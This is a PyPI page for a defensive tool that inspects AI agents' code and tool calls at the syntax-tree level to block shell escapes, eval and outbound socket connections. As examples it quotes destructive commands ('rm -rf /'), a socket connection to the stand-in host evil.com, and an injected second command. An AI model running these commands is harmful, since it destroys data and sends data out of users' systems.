Skip to main content

AW-1 Circuit Breaker

PyPI version License: MIT Latency

Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.


⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

uvx aw1-circuit-breaker --demo

Or verify an arbitrary snippet:

uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"

AW-1 Circuit Breaker

Glama Score

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

Installation

pip install -r requirements.txt

Running the Server

Run directly with Python:

python mcp_server.py

Or via uvx:

uvx mcp_server.py

MCP Client Configuration

{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "python",
      "args": ["mcp_server.py"]
    }
  }
}

Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

Interception Matrix

Attack Vector Attacker Strategy LLM Guardrail Result AW-1 AST Circuit Breaker
Dynamic Execution eval(compile(...)) Evades semantic filters Tripped (RESTRICTED_INVOCATION)
Shell Escapes subprocess.Popen(['bash', ...]) Masked as system task Tripped (UNAUTHORIZED_MODULE_IMPORT)
Lateral Exfiltration socket.connect(('evil.com', 443)) Disguised as HTTP fetch Tripped (UNAUTHORIZED_MODULE_IMPORT)

Run the Showcase

python examples/exploit_showcase.py

Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.

Evaluation Target p50 Latency p95 Latency p99 Latency Status
AST Inspection (Benign Payload) 0.0889 ms 0.1298 ms 0.1645 ms < 0.2 ms Overhead
AST Inspection (Adversarial Exploit) 0.0520 ms 0.0919 ms 0.1051 ms Instant Breakout Halt
Shell Argument Injection Guard 0.0051 ms 0.0096 ms 0.0195 ms Sub-20 µs Inspection

Reproduce locally:

python benchmark.py

Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")

License

Licensed under the Apache License, Version 2.0. See LICENSE for details.

Metadata

Release files for aw1-circuit-breaker 0.1.2

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Built distribution (wheel)

Table of built distributions (wheels) for aw1-circuit-breaker 0.1.2
File Interpreter ABI Platform
aw1_circuit_breaker-0.1.2-py3-none-any.whl Python 3 none any Details

Release files / aw1_circuit_breaker-0.1.2-py3-none-any.whl

Download URL aw1_circuit_breaker-0.1.2-py3-none-any.whl
Size 21.4 kB
Tags Python 3
SHA-256 checksum
How to use checksums
2cd44d066afb5ca9857a113c91fa7ca1d2efc81f33271e6bf7aaa828ba3a68b3
BLAKE2b-256 checksum
How to use checksums
684ce5a72fe7af2f491f529563912d37d5fad4434b31a4d21fb67137e180a903
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.13.1

Security for aw1-circuit-breaker 0.1.2

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page